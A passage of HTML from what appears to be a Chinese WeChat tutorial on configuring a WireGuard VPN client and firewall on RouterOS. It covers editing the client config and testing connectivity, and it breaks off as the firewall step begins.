src="https://wechat2rss.xlab.app/img-proxy/?k=7b5e43f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FeOCmtcHlOA6R4SqNWnjXWQzRA3ZPiaXwZ8dNl7rahO5Tic0FqdjlTe4IyXlL1o4tA2F7mzWZiaRia5ibjib8V0Y8ORtn3uegqOWP42eBCEqia8iapP0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">9.png</span></figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">保存后，在Peers标签页会多一行，双击即可查看详情，拉到最下面会看到有个配置文件内容，将其复制下来：</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="14.png" class="rich_pages wxw-img" data-ratio="0.9821002386634845" data-type="png" data-w="838" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="14.png" data-imgfileid="100002319" src="https://wechat2rss.xlab.app/img-proxy/?k=59d5d739&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FeOCmtcHlOA4u51s8MiajpyoZ3FgE5bqWbAoOdDRs3QnCprmMHur8bpia8jjuvRAEOwCzjBajnQqcKOwMFF4c4b5LoRGmZ8LVVvia61fHUo8XbQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">14.png</span></figcaption></figure><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">4# 配置WireGuard-客户端</span></span></h3><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在官网下载WireGuard的客户端，地址为<a href="https://www.wireguard.com/install/，选择自己的系统版本进行安装即可，然后打开WireGuard客户端，将之前获取的配置文件粘贴上去，注意以下内容：" target="_blank">https://www.wireguard.com/install/，选择自己的系统版本进行安装即可，然后打开WireGuard客户端，将之前获取的配置文件粘贴上去，注意以下内容：</a></span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 32px;list-style: disc;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px 0px 0.5em;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">删掉ListenPort这一行</span></span></li><li style="box-sizing: border-box;margin: 0px 0px 0.5em;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">Address改为自己设置的虚拟IP端，且不能和自己的网关冲突（比如我之前设置10.1.1.1/24，那这里就得写10.1.1.2/24）</span></span></li><li style="box-sizing: border-box;margin: 0px 0px 0.5em;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">新增Endpoint行，内容为服务器IP:监听端口（我前面设置的是5120）</span></span></li><li style="box-sizing: border-box;margin: 0px 0px 0.5em;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">名称随便填即可</span></span></li></ul><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="15.png" class="rich_pages wxw-img" data-ratio="0.808641975308642" data-type="png" data-w="486" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="15.png" data-imgfileid="100002324" src="https://wechat2rss.xlab.app/img-proxy/?k=ff70d7a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FeOCmtcHlOA5Olxe8qkF8ViaaNkHIz8jX6icvagKQIU7Tj7EdbCywrESyEZozRpZ9OKDUsQs3QcuLQbQLXmQkicMaN82oP8dUns6vEIic9tRSTibc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">15.png</span></figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">点击保存后，可以看到界面内已经有个标签页，点击连接：</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="16.png" class="rich_pages wxw-img" data-ratio="0.9545454545454546" data-type="png" data-w="462" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="16.png" data-imgfileid="100002323" src="https://wechat2rss.xlab.app/img-proxy/?k=defa87e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FeOCmtcHlOA5SyPvhHSvte591gbehfnhok6aibUC9r7F6oPh8XzRQg7ufhur9ahlwKicONEqia33JkBicsIwj3AHCDR6vc40DqMr4A25Zac80HhU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">16.png</span></figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">弹出消息显示连接成功，且界面中流量有变化，然后我们ping内网的虚拟网关能通，说明之前的配置都是正确的：</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="17.png" class="rich_pages wxw-img" data-ratio="0.34293193717277487" data-type="png" data-w="382" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="17.png" data-imgfileid="100002321" src="https://wechat2rss.xlab.app/img-proxy/?k=66a79e0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FeOCmtcHlOA5ibmSfQDzRe9Io1x6tluy3aMicZaibjedicoUhbhRG3w0zRwPUSq9snI02PIa7fhO9pyElfqFibzgEOFXNdAbNQauRSP4sGmib6NTBo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">17.png</span></figcaption></figure><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="18.png" class="rich_pages wxw-img" data-ratio="0.4043956043956044" data-type="png" data-w="455" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="18.png" data-imgfileid="100002322" src="https://wechat2rss.xlab.app/img-proxy/?k=436a1bc0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FeOCmtcHlOA5cHVIgnM2cVVk2QyGNOuTda9uT7lJ205LTMLk341887pkVKwh4kWgS4wEp6oKfVQLJoW3fo8k1CKNiaibImvDHGF2MZgyCQ4QSg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">18.png</span></figcaption></figure><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="19.png" class="rich_pages wxw-img" data-ratio="0.3969298245614035" data-type="png" data-w="456" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="19.png" data-imgfileid="100002320" src="https://wechat2rss.xlab.app/img-proxy/?k=b5e48ec7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FeOCmtcHlOA6xBFKOgszStib2ibFQUhRF1rnx85gbTJjq8P5csIC22qkuYSaiaT0iboszLpJMYz76TxRia2teq2K1OB8xRbm3Rt9fcmf8Q5d4TZFY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">19.png</span></figcaption></figure><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">5# 配置WireGuard-防火墙</span></span></h3><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但当我们尝试通过WireGuard VPN去连接192.168.1.1/24的网段时候，发现并不通，这是怎么回事呢？</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="20.png" class="rich_pages wxw-img" data-ratio="0.29850746268656714" data-type="png" data-w="469" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="20.png" data-imgfileid="100002325" src="https://wechat2rss.xlab.app/img-proxy/?k=35e1fe50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FeOCmtcHlOA4Qc7S9XCsPx1qQEdIyxDWURmZtsjj61zElINEicI3l6GAgiaaYSkjtskj8K7bXWrdeBSLBO2KicsEEo65QF55hnYoicYdAg5VrVng%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">20.png</span></figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">因为RouterOS内置了防火墙，我们需要将WireGuard进行放行，才能和内网其他地址段进行通联。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">重新打开服务端网页，找到右上角的Terminal，即可进入命令行配置界面：</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="21.png" class="rich_pages wxw-img" data-ratio="0.26824817518248173" data-type="png" data-w="548" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="21.png" data-imgfileid="100002326" 